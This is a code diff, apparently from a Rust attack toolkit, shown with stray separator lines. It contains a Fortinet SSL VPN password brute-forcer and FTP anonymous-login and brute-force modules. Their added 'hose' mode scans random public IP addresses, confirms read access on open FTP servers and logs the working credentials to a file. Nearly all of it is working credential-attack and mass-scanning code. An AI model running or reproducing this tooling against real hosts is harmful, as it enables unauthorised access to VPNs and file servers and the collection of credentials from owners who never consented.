||||
Ok(false) => {
|
||||
stats.record_failure();
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_error(e.to_string()).await;
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
realm: &Option<String>,
|
||||
trusted_cert: &Option<String>,
|
||||
timeout_duration: Duration
|
||||
) -> Result<bool> {
|
||||
let mut client_builder = ClientBuilder::new()
|
||||
.cookie_store(true)
|
||||
.redirect(Policy::none())
|
||||
.timeout(timeout_duration);
|
||||
|
||||
if trusted_cert.is_some() {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(false)
|
||||
.danger_accept_invalid_hostnames(false);
|
||||
} else {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
let client = client_builder
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Get login page
|
||||
let login_page_url = format!("{}/remote/login", base_url);
|
||||
|
||||
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
|
||||
let csrf_token = extract_csrf_token(&login_page_body);
|
||||
|
||||
// Prepare login form data
|
||||
let mut form_data = std::collections::HashMap::new();
|
||||
form_data.insert("username", username.to_string());
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
if let Some(r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
// Build form body
|
||||
let mut form_pairs: Vec<String> = Vec::new();
|
||||
for (key, val) in &form_data {
|
||||
form_pairs.push(format!("{}={}", key, urlencoding::encode(val)));
|
||||
}
|
||||
let body = form_pairs.join("&");
|
||||
|
||||
let login_response = match timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&login_url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
|
||||
.header("Referer", &login_page_url)
|
||||
.send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout during login request")),
|
||||
};
|
||||
|
||||
let status = login_response.status();
|
||||
|
||||
let location_header = login_response.headers().get("Location")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let cookies: Vec<String> = login_response.cookies()
|
||||
.map(|c| c.name().to_string())
|
||||
.collect();
|
||||
|
||||
let has_auth_cookie = cookies.iter().any(|name| {
|
||||
let lower = name.to_lowercase();
|
||||
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
|
||||
});
|
||||
|
||||
let response_body = match timeout(timeout_duration, login_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for explicit success indicators
|
||||
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
|
||||
if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for explicit failure indicators
|
||||
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
|
||||
if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status code and authentication cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location for success
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(loc_str) = location_header {
|
||||
let success_redirects = ["/remote/index", "portal", "index"];
|
||||
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
|
||||
let patterns = [
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
patterns.into_iter()
|
||||
.filter_map(|p| Regex::new(p).ok())
|
||||
.collect()
|
||||
});
|
||||
|
||||
for pattern in CSRF_PATTERNS.iter() {
|
||||
if let Some(captures) = pattern.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let normalized_host = normalize_target(target)?;
|
||||
|
||||
// Check if port is already present
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
// IPv6 case: check if there's a colon after the closing bracket
|
||||
if let Some(bracket_pos) = normalized_host.rfind(']') {
|
||||
normalized_host[bracket_pos..].contains(':')
|
||||
} else {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let url = if has_port {
|
||||
format!("https://{}", normalized_host)
|
||||
} else {
|
||||
format!("https://{}:{}", normalized_host, port)
|
||||
};
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
@@ -1,7 +1,44 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::process::Command;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use rand::Rng;
|
||||
use tokio::net::TcpStream; // For fast connect check
|
||||
|
||||
use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "ftp_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
@@ -25,6 +62,18 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -32,32 +81,43 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
// Optional: Check if we can run command?
|
||||
// For single target, we usually just report login success in legacy mode.
|
||||
// But let's be consistent and try listing.
|
||||
match ftp.list(None).await {
|
||||
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
|
||||
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
@@ -75,14 +135,223 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
match ftps.list(None).await {
|
||||
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
|
||||
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
|
||||
}
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
|
||||
let _verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let output_file = prompt_default("Output result file", "ftp_mass_results.txt")?;
|
||||
|
||||
// Ask about exclusions
|
||||
let use_exclusions = prompt_yes_no("Exclude reserved/private ranges?", true)?;
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} open anonymous FTP found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, sf, of).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = match tokio::fs::read_to_string(target).await {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read target file: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
// Simple IP parse
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, sf, of).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, 21);
|
||||
|
||||
// 1. Connection Check
|
||||
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. FTP Login (Plain only for speed/mass scan)
|
||||
let addr_str = format!("{}:21", ip);
|
||||
match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
// LOGIN OK - Now VERIFY command capability
|
||||
// We use LIST (None implies current directory)
|
||||
// We set a short timeout for list because sometimes passive mode hangs on bad NATs
|
||||
match timeout(Duration::from_secs(5), ftp.list(None)).await {
|
||||
Ok(Ok(_)) => {
|
||||
// Success: Login + List
|
||||
// Format: IP:PORT:USER:PASS
|
||||
let msg = format!("{}:21:anonymous:anonymous", ip);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Ok(Err(_)) => {
|
||||
// Login ok, List failed (550 or similar)
|
||||
}
|
||||
Err(_) => {
|
||||
// List timed out (PASV issue?)
|
||||
}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
if !std::path::Path::new(STATE_FILE).exists() {
|
||||
return false;
|
||||
}
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.stderr(std::process::Stdio::null()) // Suppress stderr just in case
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,20 +1,109 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
io::Write,
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
process::Command,
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
net::TcpStream,
|
||||
};
|
||||
use std::path::Path;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use rand::Rng;
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no,
|
||||
prompt_int_range, prompt_existing_file, prompt_port,
|
||||
load_lines, get_filename_in_current_dir
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "ftp_brute_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
/// FTP error classification for better handling
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum FtpErrorType {
|
||||
AuthenticationFailed,
|
||||
TlsRequired,
|
||||
ConnectionLimitExceeded,
|
||||
ConnectionFailed,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl FtpErrorType {
|
||||
/// Classify FTP error based on response message
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
|
||||
// Authentication failed
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect") ||
|
||||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
|
||||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
|
||||
return Self::AuthenticationFailed;
|
||||
}
|
||||
|
||||
// TLS required
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
|
||||
msg_lower.contains("ssl connection required") ||
|
||||
msg.contains("220 TLS go first") ||
|
||||
msg_lower.contains("must use tls") {
|
||||
return Self::TlsRequired;
|
||||
}
|
||||
|
||||
// Connection limit exceeded
|
||||
if msg.contains("421") || msg_lower.contains("too many") ||
|
||||
msg_lower.contains("connection limit") {
|
||||
return Self::ConnectionLimitExceeded;
|
||||
}
|
||||
|
||||
// Connection failed
|
||||
if msg_lower.contains("connection refused") ||
|
||||
msg_lower.contains("no route to host") ||
|
||||
msg_lower.contains("network unreachable") ||
|
||||
msg_lower.contains("connection reset") {
|
||||
return Self::ConnectionFailed;
|
||||
}
|
||||
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port for display
|
||||
fn format_addr_for_display(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
@@ -33,55 +122,132 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
|
||||
// Check for API-provided config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
// Get port - from API config or prompt
|
||||
let port: u16 = if let Some(p) = config.port {
|
||||
p
|
||||
} else {
|
||||
prompt_port("FTP Port", 21)?
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500")?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
|
||||
// Get wordlists - from API config or prompt
|
||||
let usernames_file = if let Some(ref f) = config.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
f.clone()
|
||||
} else {
|
||||
prompt_required("Username wordlist")?
|
||||
};
|
||||
|
||||
let passwords_file = if let Some(ref f) = config.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else {
|
||||
prompt_required("Password wordlist")?
|
||||
};
|
||||
|
||||
let concurrency: usize = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 500 } else {
|
||||
loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500").unwrap_or_else(|_| "500".to_string());
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { return n }
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
|
||||
});
|
||||
|
||||
let save_results = config.save_results.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
|
||||
});
|
||||
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
Some(config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "ftp_results.txt".to_string() } else { prompt_default("Output file", "ftp_results.txt").unwrap_or_else(|_| "ftp_results.txt".to_string()) }
|
||||
}))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
|
||||
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
let combo_mode = config.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Combination mode (user × pass)?", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
let display_addr = format_addr_for_display(target, port);
|
||||
let connect_addr = format_addr_for_display(target, port);
|
||||
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
